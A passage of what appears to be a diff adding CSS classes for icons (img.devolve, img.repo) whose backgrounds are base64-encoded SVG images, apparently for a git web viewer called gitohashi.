Q0MTQtMC40NjM5MyAyLjE3OTYtMC40MjI3OSAxLjUwNTcgMC4yMDE1MyAzLjA1MDMgMC4xOTUzOCA0LjUwMjcgMC42ODI0OSAwLjg5MzggMC4yNDEzNiAxLjgyMDQgMC41MjIyNiAyLjc0NjkgMC40NzU3OCAxLjEzMzYtMC4yMzUyNyAyLjMwNjYtMC4zMzM0OCAzLjM1ODgtMC44NTEzMyAwLjUwMTItMC4xNzE3NyAwLjcyNTMyLTAuNjgwNzkgMS4wNDkyLTEuMDY0NCAwLjE1MjkzLTAuMjQ4NTMgMC4zMDU4Ny0wLjk0ODA3IDAuNDU4OC0xLjE5NjZ6IiBmaWxsLW9wYWNpdHk9Ii41NjYxMiIvPgo8cGF0aCBkPSJtODQuMDEzIDE3Mi40My0xLjE4MTIgMS4zMjI5LTIuMzYyNCAxLjE4MTItMi45NzY2IDAuNDcyNDctMi41MDQxLTAuNjE0MjEtMS44ODk5LTAuODk3Ny0yLjg4MjEtMC41MTk3MmgtMy44MjdsMy42MzggMC4zNzc5OCAxLjQ2NDYgMC41NjY5OC0xLjI3NTcgMC41NjY5Ny0yLjI2OTkgMC41MzU0LTIuNTUxNy0wLjQwOTU5LTAuMjMzODQgMC40ODgzOCAzLjA3MTEgMS4wODY3IDMuNTQzNSAxLjM3MDIgNS4wNTU0IDAuODk3NjggMy40OTYzLTAuMTQxNzQgMy41NDM1LTAuMjgzNDggMi4xMjYxLTAuMDQ3MyAxLjcwMDkgMC42MTQyLTAuOTc1MjQtMS4yNjQ3LTAuMjA1ODktMS4yMzk0IDAuODUwNDQtMS4yMjg0IDAuNDcyNDctMC4yODM0Ny0xLjMyMjktMC43MDg3Mi0xLjMyMjktMS4zNzAyIDAuMDk0NS0xLjE4MTIgMC43NTU5NS0wLjcwODY4IDAuMTg4OTgtMC4yMzYyNS0wLjcwODctMC45OTIxOWgtMC44NTA0NXoiIGZpbGwtb3BhY2l0eT0iLjY1Mjg5Ii8+CjxwYXRoIGQ9Im04OC41MDEgMTcxLjI1YzAuNjA1ODctMC4xMzUxNyAxLjQxNzQtMC45NDQ5NCAxLjQxNzQtMC45NDQ5NCAwLjY1OTcgMC40MTM1OCAxLjMxMzUgMC44OTc5NiAyLjEyMzEgMC45MzQ5MiAxLjM2MzcgMC4yNTUzMiAyLjc0NjkgMC41OTQ5NCA0LjE0MDUgMC4zOTQ5OCAxLjUzMjkgMC4wMzY2IDIuOTU4OS0wLjU2MyA0LjQxNDMtMC45NTE5MS0wLjM5MzEgMC42NDUyNS0wLjczOTYgMS4zNTQ5LTEuNDI3NiAxLjczNTktMC44MTkgMC4zMTkwMi0xLjcyNyAwLjAyMDMtMi41ODI2IDAuMDg1OC0xLjE1MDMgMC4wMjg1LTIuMjIxNC0wLjUzMDYxLTMuMzc5NC0wLjQwNzc2LTAuOTczODYtMC4wMjM4LTEuOTU4NiA3ZS0zIC0yLjkyNDEtMC4xMzA1OS0wLjYxMjUxLTAuMTgxMjctMi4yNzU5LTAuMjc4MDQtMi4yNTc2LTAuNjQ5NiAwIDAgMC4zMTk2Ny0wLjAzMTkgMC40NzYwNy0wLjA2Njh6IiBmaWxsLW9wYWNpdHk9Ii41MDgyNiIvPgo8cGF0aCBkPSJtODguNzM3IDE3NC4yM2MwLjk1OTUyIDAuNjI2NjEgMS44ODgyIDEuMzExIDIuOTIzIDEuODEyIDEuNTg5MyAwLjIzNDY1IDMuMjAzIDAuMzMyMDcgNC43OTY2IDAuMDg5NiAwLjc0MjcyIDAuMDIzOSAxLjkwODQtMC4zMzQ5NiAyLjU0Ny0wLjI4NzkzLTAuMjAxODggMC44OTM3NS0xLjI2NzggMS42MzMzLTIuMjI0NCAxLjU0LTAuODU4MjggMC4yMDc0MS0xLjcyOTkgMC4xMDI3NS0yLjU3NTUtMC4wOTk5LTEuNzc2MS0wLjE0OTQ2LTMuMjQ3NC0xLjI0NC00LjgzODEtMS45MzcxLTAuMzkzOTItMC4xNjEyNy0xLjY1MzktMC40NjE1OS0yLjA0MDgtMC42Mzc1OS0wLjY1MzcyLTAuMjk3MzktMC40MjU5OC0wLjQ4Nzc1LTEuMDQ0Ny0wLjg1NzE2IDAuNzMzODggMC4yMDUwNSAxLjY3IDAuOTk0MjkgMi4zNTA2IDAuNDYwNjdsMC4xMDYzLTAuMDgyN3oiIG9wYWNpdHk9Ii40OTciLz4KPHBhdGggZD0ibTg5LjIwMSAxNzcuNzdjMC4yNjcwNCAyLjM2NDEgMy4wMTUyIDIuODQyIDQuOTQ5OCAyLjk5NTYgMi45MjMgMC4xMTE3OSAxLjMzNTcgMy4wNTc5LTAuODQ3ODQgMi44MTE5LTIuMzkwMiAwLjUyMDgxLTQuNjEwOCAwLjgxNzQ4LTYuOTU0NCAxLjEyMjItMi41NCAwLjMzMDI5LTUuMTUzOSAwLjQ1Nzk1LTcuNzE4OCAwLjUyMDU0LTIuNDAwMiAwLjIxMzMtNS4zMTk3IDEuMDI5NC03LjI0MDMtMC45MjAxNC0wLjQ1MDU1LTAuMzM3ODQtMC45ODE3OS0xLjA0NTgtMS41NTI0LTEuMDYxOS0xLjcwNC0wLjA0ODItMi45NTggNGUtMyAtMy41NDYzLTEuNzgwOC0wLjk5MTgxLTEuMTQ2OC0wLjcxMzc0LTIuOTMzMiAxLjA5LTIuMDEyNCAyLjE0MTMgMS4yNTQgMy42OTQ4IDMuNDczOCA2LjA3NDkgNC40MDM2IDEuOTk2MyAxLjIxMDcgNC40NDYxIDAuNTUwNDggNi42NDkxIDAuNzc5MzYgMi41MTE3LTAuNTMzMzYgNS43NzYtMC4yMzA5NyA3LjcyNC0xLjc1NDMgMS4xOTYxLTEuODk3MS0xLjEwMjctNS4wNzg0LTEuMTQ3NS01LjY3MzkgMC4yNTQ1IDAuODc4ODkgMS40ODQ2IDEuMTI3NSAyLjUxOTkgMC41NzAzMnoiIGZpbGwtb3BhY2l0eT0iLjU5NTA0Ii8+CjxwYXRoIGQ9Im04OS40MzUgMTU5LjY2Yy0yLjQ5NDggMC40NTA3Ni04LjM3NDYgMS40OTc1LTEwLjc5NiAyLjI2MjYtMC43ODY4OSAwLjA5MzYtMi42MzczIDEuMTAwOS0xLjE1NTcgMS4wNjggMS4xODgzIDAuMjkyMjEgMi4yMTE4IDAuNTM1NTEgMy4zNjU1IDAuMTM4NDMgMi40ODczLTAuNjM0MzMgNi4xMTA2LTEuNzIzNyA4LjU4NjUtMi4zOTk5LTAuOTU3NzItMC4zMTE4MSAwLjk1NzcyLTAuNzU3MjYgMC0xLjA2OTF6IiBmaWxsLW9wYWNpdHk9Ii41NzQzOCIvPgo8cGF0aCBkPSJtNjkuMDM1IDE2Mi45NGMtMi4xMDY0IDAuNTQ3NzUtMi44OTY0IDIuODA2Ny0zLjY5MTIgNC41ODUtMS4yNzk1IDUuMTg3Mi0yLjM3MjkgMTEuNTQzLTAuNjIzMzQgMTYuNTY1IDAuMTM0MzggMC43ODU4NCAwLjU5NjY2IDEuNTAzMiAxLjYyNzcgMS43NTI2IDEuNjY4NCAwLjM4NjE3IDIuMDk2Mi0zLjEyNTMgMS4wNzQ1LTMuNTI1Mi0xLjcwNDUtMC42MDE5Ny0xLjgzODktMi40MzctMS44MDE5LTMuOTgxLTAuMjA1NzctMi42MTk5LTAuMzU4NDctNS4yNTM4LTdlLTMgLTcuODY5LTEuNWUtNCAtMS43MDE2IDAuMzIzMDItMy4yOTQgMS4xMDY3LTQuODA4NCAwLjM4MzE5LTEuMjEwNyAxLjM2LTEuOTY0NSAyLjMxNDQtMi43MTkyeiIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CjxwYXRoIGQ9Im02NS40NDUgMTcxLjQ0IDIuMDc4OSAwLjE0MTczIDEuNDE3NCAwLjI4MzQ4LTEuMTMzOS0wLjA0NzItMi4zMTUxIDAuMTQxNzR6IiBmaWxsLW9wYWNpdHk9Ii41OTUwNCIvPgo8cGF0aCBkPSJtNjYuNjI2IDE2NS4zIDEuODQyNi0wLjM3Nzk4IDAuNDcyNDcgMC44MDMyMi0xLjA4NjcgMS45MzcxLTIuNTk4NiAwLjg1MDQ1IDAuODUwNDUtMi40NTY4IDAuNjYxNDYtMC42MTQyM3oiIGZpbGwtb3BhY2l0eT0iLjY1Mjg5Ii8+CjxwYXRoIGQ9Im04OS42MTEgMTY4LjNjLTAuNTA0NzMgMC4yNzEwNi0wLjk3MyAwLjc0MTI2LTAuOTkwODkgMS4zNDY0LTAuMDQ4NiAwLjQzNDgyLTAuMjAxNTEgMS4zMDUgMC40MDg1MSAxLjM2NDkgMC4zOTQ1Mi0wLjExMDE3IDAuNjc1OTUtMC40ODIyOCAwLjgzMjQxLTAuODQzODEgMC4wODM3LTAuNDA4NDUgMC4xNDg0LTAuODM1NTEgMC4wNzktMS4yNTI0LTAuMDQ1Ni0wLjIyOTkyLTAuMDg5OS0wLjUwNDg0LTAuMzI5MDgtMC42MTUwNXoiIGZpbGw9IiNlY2VjZWMiIGZpbGwtb3BhY2l0eT0iLjU3NDM4Ii8+CjxwYXRoIGQ9Im04OC44NDQgMTcyLjU1Yy0wLjUzNjM0IDAuMjc3MDQtMC44MTQ2MiAwLjEyNzE3LTEuMTQyOCAwLjgwNjY4LTAuMTIxMzQgMC40NTA3OSAwLjA0MzUgMS4zNjM5IDAuNzQ2NjYgMS4wMzcyIDAuNDU1OTMtMC4yNjY0MiAwLjI4Mzk3LTAuNjA3NzEgMC40NDAxMy0xLjE0NjggMC4wMjI5MS0wLjQzMDcxIDAuMTkyMTEtMC4zMTQ4OC0wLjA0NC0wLjY5NzA0eiIgZmlsbD0iI2VjZWNlYyIgZmlsbC1vcGFjaXR5PSIuNTc0MzgiLz4KPHBhdGggZD0ibTg5LjEzOSAxNzYuNDFjLTAuNjczOTkgMC4zMDc5Mi0wLjkyNTU1IDAuMzQwNzMtMC45MTgzOSAxLjA2NDcgMC4yMjgyNyAwLjM1MTggMC40NzM1MSAwLjY0NjcyIDAuODc0MTggMC4xNTU1NCAwLjUzOTQ4LTAuNTEzNzcgMC40ODQ1My0wLjQzMzc2IDAuNjEwODktMC45MTczMi0wLjA0NzUtMC4xNjc3OC0wLjQxNjExLTAuMjA5MTQtMC41NjY2OC0wLjMwMjk0eiIgZmlsbD0iI2VjZWNlYyIgZmlsbC1vcGFjaXR5PSIuNTc0MzgiLz4KPHBhdGggZD0ibTk3Ljc5OSAxNjIuN2MwLjAxMTExIDAuMjg0MyAwLjA4ODIgMC4zMTg4MSAwLjMzMTU3IDAuNzgyOTggMC4yNDAwNyAwLjQxMDg1IDAuMzkwODIgMC40ODEzNiAwLjc0NDI0IDAuNjA0MzcgMC40MzkyNC0wLjI3OTkxIDAuNzQ0MDMtMC41MTU4IDAuNjIyNC0xLjIwMDItMC4wNDc1LTAuMTY3NzktMS41NDc2LTAuMDkzNC0xLjY5ODItMC4xODcxOHoiIGZpbGw9IiNlY2VjZWMiIGZpbGwtb3BhY2l0eT0iLjU3NDM4Ii8+CjxwYXRoIGQ9Im04NS4yMjUgMTcyLjA0IDAuODY4NjMgMC4wODM1IDAuNzAxNTggMC4xODM3MiAxLjEzNTkgMC4zNTA4MSAwLjcxODI4IDAuMzE3MzcgMC4yNTA1NyAwLjI2NzI4LTAuMDUwMS0wLjYzNDc2LTAuMTgzNzQtMC4yNjcyOC0xLjMwMjktMC42MDEzNS0xLjA1MjQtMC4zNjc1LTAuNzY4NCAwLjAxNjctMC4yMzM4NiAwLjQwMDkyeiIgZmlsbD0iI2ZmZiIgZmlsbC1vcGFjaXR5PSIuMjE5MDEiLz4KPHBhdGggZD0ibTg3LjA3NSAxNzUuNzVjMS4xOTU4IDAuMTIwMzIgMS42NzA4IDAuODEzOTYgMi41NjUyIDEuMTM4MiAwLjE4MDc1LTAuNDMzMTgtMC4wNjcxLTAuODQ5NTgtMC40NDM2LTEuMTk4Mi0wLjQyMDMyLTAuMzg0NzQtMC43OTYzNi0wLjQ4MTUzLTEuMjc1Ny0wLjYzODQ0LTAuNTQyOTggMC4yMDA5NC0wLjUxMzQ4IDAuMzE3MzYtMC44NDU5NCAwLjY5ODQ4eiIgZmlsbD0iI2ZmZiIgZmlsbC1vcGFjaXR5PSIuMjE5MDEiLz4KPHBhdGggZD0ibTg2LjMzOCAxNjguMDZjMi42MzIzIDAuMzA0MDcgMi43Mzk5IDEuMTgxNSAzLjYzNDMgMS41MDU3IDAuMTgwNzUtMC40MzMxOC0wLjQxNzg5LTEuMjY3Mi0wLjc5NDM5LTEuNjE1OC0wLjQyMDMyLTAuMzg0NzQtMS40MzExLTAuMTQ3NDUtMS45MTA1LTAuMzA0MzYtMC41NDI5OCAwLjIwMDk0LTAuNDI5OTYgMC4xMzM2Mi0wLjkyOTQ2IDAuNDE0NTF6IiBmaWxsPSIjZmZmIiBmaWxsLW9wYWNpdHk9Ii4yMTkwMSIvPgo8cGF0aCBkPSJtOTguMDU4IDE2My4zYzEuMTk1OCAwLjEyMDMyIDMuNDY2Mi0wLjExOTE3IDQuMzYwNiAwLjIwNTAzIDAuMTgwNzUtMC40MzMxOCAwLjExMDA4LTAuMTg4MTIgMC4xMzUxOC0wLjYzMTI0LTAuNTczODgtMC4wNzc2LTQuMzM5OSAwLjAyNjQtNC44MTkyLTAuMTMwNTMtMC41NDI5OCAwLjIwMDk0IDAuNjU1ODggMC4xNzU2MiAwLjMyMzQyIDAuNTU2NzR6IiBmaWxsPSIjZmZmIiBmaWxsLW9wYWNpdHk9Ii4yMTkwMSIvPgo8L2c+Cjwvc3ZnPgo\u003d\u0022);\u0022\n+\twidth:0px;\n+\theight:0px;\n+\tpadding:0.6em 1.3em;\n+\tline-height:100%;\n+\tcursor:pointer;\n+\tbackground-repeat: no-repeat;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.devolve {\n+\tdisplay: inline-block;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMS4zNTM5NDggMTAuNDc5MzQ4IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4KCTxkZWZzPgoJCTxsaW5lYXJHcmFkaWVudCBpZD0iYSIgeDE9IjMyNi44NCIgeDI9IjMyNiIgeTE9IjIwNi4wNCIgeTI9IjIxMy4xNyIgZ3JhZGllbnRUcmFuc2Zvcm09InRyYW5zbGF0ZSgtNTYyLjMzIC0xNTkuMjEpIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+CgkJCTxzdG9wIHN0b3AtY29sb3I9IiNmZmYiIHN0b3Atb3BhY2l0eT0iLjcxOTAxIiBvZmZzZXQ9IjAiLz4KCQkJPHN0b3Agc3RvcC1jb2xvcj0iI2ZmZiIgc3RvcC1vcGFjaXR5PSIwIiBvZmZzZXQ9IjEiLz4KCQk8L2xpbmVhckdyYWRpZW50PgoJCTxmaWx0ZXIgaWQ9ImMiIHg9Ii0uMTA0NDYiIHk9Ii0uMTQwOTciIHdpZHRoPSIxLjIwODkiIGhlaWdodD0iMS4yODE5IiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgoJCQk8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIwLjE0NTg4OCIvPgoJCTwvZmlsdGVyPgoJCTxmaWx0ZXIgaWQ9ImIiIHg9Ii0uMDc0NCIgeT0iLS4wNzQ0IiB3aWR0aD0iMS4xNDg4IiBoZWlnaHQ9IjEuMTQ4OCIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KCQkJPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC43NTgxMDk5NiIvPgoJCTwvZmlsdGVyPgoJPC9kZWZzPgoJPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoMjQwLjc4IC00Ni4wNzYpIj4KCQk8Y2lyY2xlIHRyYW5zZm9ybT0ibWF0cml4KC4zNzMwMSAwIDAgLjM3MzAxIC0yOTIuNTQgLTEuOTk0NikiIGN4PSIxNTUuMTUiIGN5PSIxNDIuOTIiIHI9IjEyLjIyOCIgZmlsdGVyPSJ1cmwoI2IpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI2NSIvPgoJCTxjaXJjbGUgY3g9Ii0yMzUuMSIgY3k9IjUxLjAyNSIgcj0iNC4xNzIzIiBmaWxsPSIjZmVhIi8+CgkJPGcgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIj4KCQkJPHBhdGggZD0ibS0yMzkuMjIgNTEuMTE3YTQuMjU2NiA0LjI1NjYgMCAwIDEgMi42MDk5IC0zLjk3MjQgNC4yNTY2IDQuMjU2NiAwIDAgMSA0LjY2MjggMC45MjE5MSA0LjI1NjYgNC4yNTY2IDAgMCAxIDAuOTAxOCA0LjY2NjggNC4yNTY2IDQuMjU2NiAwIDAgMSAtMy45ODM2IDIuNTkyOCIgc3Ryb2tlLWxpbmVqb2luPSJyb3VuZCIgc3Ryb2tlLXdpZHRoPSIxLjA2NzgiLz4KCQkJPHBhdGggZD0ibS0yMzAuNzEgNTEuMjQxaC0xLjQ0OTkiIHN0cm9rZS13aWR0aD0iLjIwODMzcHgiLz4KCQkJPHBhdGggZD0ibS0yMzUuMDYgNTMuOTA2djEuNDQ5OSIgc3Ryb2tlLXdpZHRoPSIuMjA4MzNweCIvPgoJCTwvZz4KCQk8cGF0aCBkPSJtLTIzOS43IDUxLjYwNCAwLjk1MzUgMS4yNTIzIDAuMzk3MDQtMC43OTM5My0wLjA2NTEtMC4yOTc5OS0wLjQwNDg1IDAuNTM1NjItMC44NjQ2Mi0xLjEzODYtMC4wNzIxLTAuMDM5MSIgZmlsbD0iI2ZmZmZmYiIvPgoJCTxwYXRoIGQ9Im0tMjM3LjY0IDUyLjcxNC0xLjI1NTcgMC43MjQ5NyIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4xMiIvPgoJCTxwYXRoIHRyYW5zZm9ybT0ibWF0cml4KDEuMDU3NyAwIDAgMS4wNTc3IC01ODEuMDcgLTE3MS40KSIgZD0ibTMyMi4wOCAyMDkuMDYgMy4zNTE5IDAuMDExMy0xLjY1NjYgMi40NzI0eiIgZmlsbD0iIzRkNGQ0ZCIgZmlsdGVyPSJ1cmwoI2MpIi8+CgkJPHBhdGggZD0ibS0yMzUuMDYgNDcuMjg5djEuNDQ5OSIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yMDgzM3B4Ii8+CgkJPHBhdGggZD0ibS0yMzIuOTkgNDkuOTE5LTIuMTU4OCAxLjMyMjggMS4xNjkzIDEuNDk2NyIgZmlsbD0ibm9uZSIgc3Ryb2tlPSIjMDAwIiBzdHJva2Utd2lkdGg9Ii4yNjQ1OHB4Ii8+CgkJPGNpcmNsZSBjeD0iLTIzNS4wNiIgY3k9IjUxLjIxOSIgcj0iLjQ2NzcyIi8+CgkJPHBhdGggZD0ibS0yMzYuNTMgNTMuNzM4LTAuNzI0OTYgMS4yNTU3IiBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjEyIi8+CgkJPGc+CgkJCTxwYXRoIGQ9Im0tMjMzLjA3IDQ5LjgxMWMwLjE0OTE2LTAuMDg1NyAwLjI1MTk4LTAuMTQxOTUgMC40MTMwNy0wLjE3MzE0IDAuMDk0NS0wLjAyMzIgMC4xMTkyNy0yZS0zIDAuMTE5MjctMmUtM3MtMy4yZS00IDAuMDMyMS0wLjA0OTIgMC4wOTM2Yy0wLjA5NCAwLjEyNTM5LTAuMTg2MDUgMC4xOTY2Ny0wLjMzOTA1IDAuMzA1MjcgMCAwLTAuMTY4NzktMC4xMzg4Ni0wLjE0NDA2LTAuMjI0MTd6Ii8+CgkJCTxwYXRoIGQ9Im0tMjMzLjk0IDUyLjU4OWMwLjEwNTYgMC4xMzU4MSAwLjE3NTU5IDAuMjI5ODEgMC4yMjg4NiAwLjM4NTAxIDAuMDM2MSAwLjA5MDMgMC4wMTg1IDAuMTE3ODMgMC4wMTg1IDAuMTE3ODNzLTAuMDMxOCA0ZS0zIC0wLjA5OTYtMC4wMzU3Yy0wLjEzNzIzLTAuMDc1Ny0wLjIyMDYxLTAuMTU2OTItMC4zNDk0MS0wLjI5MzM0IDAgMCAwLjExNDA2LTAuMTg2NDUgMC4yMDE5Ny0wLjE3MzgyeiIvPgoJCQk8Y2lyY2xlIGN4PSItMjM1LjA2IiBjeT0iNTEuMjA4IiByPSIuMjg1ODIiIGZpbGw9IiNiM2IzYjMiLz4KCQkJPHBhdGggZD0ibS0yMzQuNjcgNTAuOTUxIDIuMTIyMy0xLjMxNTUtMC4wOTM2LTZlLTMgLTAuMTQwMzEgMC4wMzUxLTAuMTU3ODUgMC4wNzYtMC4zNTA3OCAwLjE5ODc4LTEuNDg1IDAuOTE3OTEgMC4wNjQzIDAuMDQwOXoiIGZpbGw9IiM2NjYiLz4KCQkJPHBhdGggZD0ibS0yMzQuODUgNTEuNjI5IDEuMTY1OCAxLjQ3MTgtMC4wMjQ5LTAuMTI0MDMtMC4wMzMxLTAuMDkxLTAuMDYwOC0wLjExMTM2LTAuMTIxMTItMC4xNjk3MS0wLjgxODA1LTEuMDM5NC0wLjA1ODQgMC4wNDcxeiIgZmlsbD0iIzRkNGQ0ZCIvPgoJCTwvZz4KCQk8ZyBmaWxsPSJub25lIiBzdHJva2U9IiMwMDAiPgoJCQk8ZyBzdHJva2Utd2lkdGg9Ii4xMiI+CgkJCQk8cGF0aCBkPSJtLTIzMS4xNyA0OC45NzctMS4yNTU3IDAuNzI0OTciLz4KCQkJCTxwYXRoIGQ9Im0tMjMyLjQ4IDUyLjcxNCAxLjI1NTcgMC43MjQ5NyIvPgoJCQkJPHBhdGggZD0ibS0yMzIuODQgNDcuMzM5LTAuNzI0OTYgMS4yNTU3Ii8+CgkJCQk8cGF0aCBkPSJtLTIzOC45OSA0OC45NDQgMS4yNTU3IDAuNzI0OTciLz4KCQkJCTxwYXRoIGQ9Im0tMjM2LjYgNDguNTc4LTAuNzI0OTgtMS4yNTU3Ii8+CgkJCQk8cGF0aCBkPSJtLTIzMi44OSA1NS4wMTEtMC43MjQ5OC0xLjI1NTciLz4KCQkJPC9nPgoJCQk8cGF0aCBkPSJtLTIzNy45MiA1MS4yMDhoLTEuNDQ5OSIgc3Ryb2tlLXdpZHRoPSIuMjA4MzNweCIvPgoJCTwvZz4KCQk8Zz4KCQkJPHBhdGggZD0ibS0yMzguMzggNTIuMDFjMC4wMzQ0IDAuMzAwODcgMC4wODU4IDAuNTgwNjYgMC4xODk3NSAwLjc3NzI3IDAuNDU3OCAxLjAyNDEgMS4zNDE2IDEuNzIwNyAyLjc3NyAxLjk4NjEgMC4xMTM5NyA1ZS0zIDAuMjUxMzQtMWUtMyAwLjM2NTMxIDRlLTN2MS4wNjA2Yy0wLjI5MzUxLTdlLTMgLTAuNTEyMjctNC40OWUtNCAtMC43MTUxNC0wLjA0NTQtMS43MTMtMC4zNDU0OC0yLjc5OTQtMS4xMzctMy40Njg5LTIuNTQ4LTAuMTkxMDctMC40NTUyMi0wLjQyOTUzLTEuMTAwOS0wLjQ4MzctMS41OTIyLTAuMDIxMS0wLjEyNjYgMC4xODg0NiAwLjEzNTc1IDAuMjIzMDQgMC4xNjU2NWwwLjczMjQ3IDEuMDI2OWMwLjE3MjI0LTAuMjk4NzYgMC4yNTcwNC0wLjQ0NTI5IDAuMzk2NjItMC43Mjc3NXoiIGZpbGw9IiM4MDgwODAiLz4KCQkJPHBhdGggZD0ibS0yMzQuOSA0Ny40MDVjLTEuNzU3MiAwLjA5NjEtMy42ODAxIDEuNTQxOS0zLjQ2NzkgMy40NTQzLTAuMTYyMzQgMS43MTI2IDAuOTkyNDMgMy40MDkxIDIuNzMyMyAzLjY1OTIgMC41ODkyNCAwLjIyOTE5IDEuNDM3Ni0wLjIwMjUgMC4zNzcxOS0wLjQzMjkzLTEuNDA4NS0xLjIxMjYtMi4xODA1LTMuNTMtMC44NTE2Ny01LjA4MDMgMC4zMTQ3NC0wLjY2NDIgMS42NDYzLTEuMjA0NyAxLjcwMDYtMS41MjMzLTAuMTYwNTItMC4wNDM0LTAuMzI3MDgtMC4wNTEtMC40OTA1Ny0wLjA3Njl6IiBmaWxsPSJ1cmwoI2EpIiBvcGFjaXR5PSIuNjY2Ii8+CgkJCTxwYXRoIGQ9Im0tMjQwLjU0IDQ5Ljc0OCAzLjM1MTkgMC4wMTEzLTEuNjU2NiAyLjQ3MjR6IiBzdHJva2U9IiMwMDAiIHN0cm9rZS13aWR0aD0iLjI0MTQ1cHgiLz4KCQkJPHRleHQgeD0iLTIzNS4wNzMwMSIgeT0iNTAuMDkzNzUiIGZpbGw9IiMwMDAwMDAiIGZvbnQtZmFtaWx5PSInT3BlbiBTYW5zJyIgZm9udC1zaXplPSIuMjY4MzJweCIgbGV0dGVyLXNwYWNpbmc9IjBweCIgc3Ryb2tlLXdpZHRoPSIuMDMzNTM5IiB0ZXh0LWFsaWduPSJjZW50ZXIiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4IiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSItMjM1LjA3MzAxIiB5PSI1MC4wOTM3NSIgc3Ryb2tlLXdpZHRoPSIuMDMzNTM5Ij5naXRvaGFzaGk8L3RzcGFuPjwvdGV4dD4KCQk8L2c+Cgk8L2c+Cjwvc3ZnPg\u003d\u003d\u0022);\n+\twidth:0px;\n+\theight:0px;\n+\tpadding:1.5em 1.6em;\n+\tline-height:100%;\n+\tcursor:pointer;\n+\tbackground-repeat: no-repeat;\n+\tvertical-align:middle;\n+\tcolor: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.repo {\n+\tdisplay: inline-block;\n+\tbackground: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAyOC4wMTcgMzEuMTg0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOmNjPSJodHRwOi8vY3JlYXRpdmVjb21tb25zLm9yZy9ucyMiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KPGRlZnM+CjxmaWx0ZXIgaWQ9ImEiIHg9Ii0uMDQ4NTg0IiB5PSItLjEwODk1IiB3aWR0aD0iMS4wOTcyIiBoZWlnaHQ9IjEuMjE3OSIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4KPGZlR2F1c3NpYW5CbHVyIHN0ZERldmlhdGlvbj0iMC41MDM3MzY1NSIvPgo8L2ZpbHRlcj4KPC9kZWZzPgo8bWV0YWRhdGE+CjxyZGY6UkRGPgo8Y2M6V29yayByZGY6YWJvdXQ9IiI+CjxkYzpmb3JtYXQ+aW1hZ2Uvc3ZnK3htbDwvZGM6Zm9ybWF0Pgo8ZGM6dHlwZSByZGY6cmVzb3VyY2U9Imh0dHA6Ly9wdXJsLm9yZy9kYy9kY21pdHlwZS9TdGlsbEltYWdlIi8+CjxkYzp0aXRsZS8+CjwvY2M6V29yaz4KPC9yZGY6UkRGPgo8L21ldGFkYXRhPgo8ZyB0cmFuc2Zvcm09InRyYW5zbGF0ZSgtMTEyLjk5IC05MC4xNTIpIj4KPGVsbGlwc2UgdHJhbnNmb3JtPSJtYXRyaXgoMS4wMjQ1IDAgMCAxLjAyNDUgLTI5Ni4xNiAtNzIuMDQxKSIgY3g9IjQxMy4wMyIgY3k9IjE4MiIgcng9IjEyLjQ0MiIgcnk9IjUuNTQ4NSIgZmlsdGVyPSJ1cmwoI2EpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIHN0cm9rZS13aWR0aD0iLjM2NDk5Ii8+CjxwYXRoIGQ9Im0xNDAuNTEgOTguMDE5LTEuMjI4NCAxNS44MjgtMi4yMjA2LTMuMzU0NSAwLjk0NDk1LTExLjEwM3oiIGZpbGw9IiNjY2MiLz4KPGVsbGlwc2UgY3g9IjEyNi45OSIgY3k9IjExMi44OCIgcng9IjEyLjQ0MiIgcnk9IjUuNTQ4NSIgZmlsbD0iI2NjYyIgc3Ryb2tlPSIjMDAwIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBzdHJva2Utd2lkdGg9Ii4zNjQ5OSIvPgo8cGF0aCBkPSJtMTEzLjMyIDk3LjM4MSAxLjIyODQgMTUuODI4IDIuMjIwNi0zLjM1NDUtMC45NDQ5NS0xMS4xMDN6IiBmaWxsPSIjY2NjIi8+CjxlbGxpcHNlIG